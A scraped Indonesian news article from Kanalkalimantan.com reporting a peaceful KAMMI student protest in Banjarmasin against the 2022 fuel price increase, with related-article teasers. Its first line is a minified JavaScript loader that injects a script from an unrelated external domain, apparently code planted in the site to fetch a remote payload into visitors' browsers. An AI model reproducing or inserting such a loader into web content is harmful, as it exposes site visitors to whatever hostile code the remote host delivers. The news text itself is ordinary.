(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Selama kurang lebih satu pekan pasca naiknya harga BBM, terhitung sudah 5 kali massa organisasi kemahasiswaan melakukan aksi penolakan kenaikan BBM di Kota Banjarmasin.
Sebelumnya massa PMII, LSISK, HMI, IMM, dan hari ini Jumat (9/9/2022), giliran Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI) Kalsel melakukan demo di depan gedung DPRD Kalsel jalan Lambung Mangkurat Kota Banjarmasin.
Pada aksi tersebut ada beberapa tuntutan yang dilayangkan masa KAMMI Kalsel salah satunya menolak dan meminta pemerintah membantalkan kenaikan BBM.
Disampaikan M Alfianysah Ketua umum KAMMI Kalsel, aksi mereka secara subtansi sama dengan aksi-aksi yang telah dilakukan oleh organisasi lain yaitu penolakan kenaikan BBM dan komitmen DPRD Kalsel untuk menyampaikan aspirasi dari organisasi kemahasiswaan.
Baca juga : Dua Anak Tenggelam di Galian C Gunung Sirkuit Dinyatakan Meninggal Dunia
“Hari ini kita meminta sikap dari DPRD Kalsel, apakah cuman dimulut saja komitemennya untuk menampung aspirasi dari kami organisasi kemahasiswaan untuk menolak kenaikan BBM,” tegasnya.
Selain itu beberapa tuntutan lainnya antara lain mendesak pemerintah kendalikan harga bahan pokok, mendesak pemerintah untuk menunda proyek strategis nasional seperti IKN, dan mendesak presiden Jokowi untuk mundur jika tidak membatalkan kenaikan BBM.
Alfi juga mengungkapkan, mereka sengaja bersama organisasi kemahasiswaan lainnya untuk aksi secara masing-masing atau tidak bersatu untuk penolakan kenaikan BBM ini.
“Kita memang sengaja masing-masing dulu, karena biar ada tekanan buat DPRD Kalsel, bahkan kita pengen ada tiap hari aksi,” kata Ketua KAMMI Kalsel Alfiansyah.
Baca juga : Dua Anak Tenggelam di Danau Galian C Gunung Sirkuit Akhirnya Ditemukan
Pada aksi KAMMI kalsel tersebut juga terlihat tiga orang membawa motor dengan berjalan kaki tanpa menaikinya sebagai simbol rakyat yang kesusahan untuk membeli BBM.
Beberapa spanduk yang bertuliskan penolakan kenaikan BBM juga terpampang dalam aksi tersebut.
Hingga aksi berkahir massa dari KAMMI Kalsel tetap tertib tanpa adanya kericuhan, dan personel kepolisian dari Polresta Banjarmasin turut serta mengamankan aksi tersebut hingga selesai yang langsung di komandoi oleh Kapolresta Banjarmasin Kompol Sabana.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.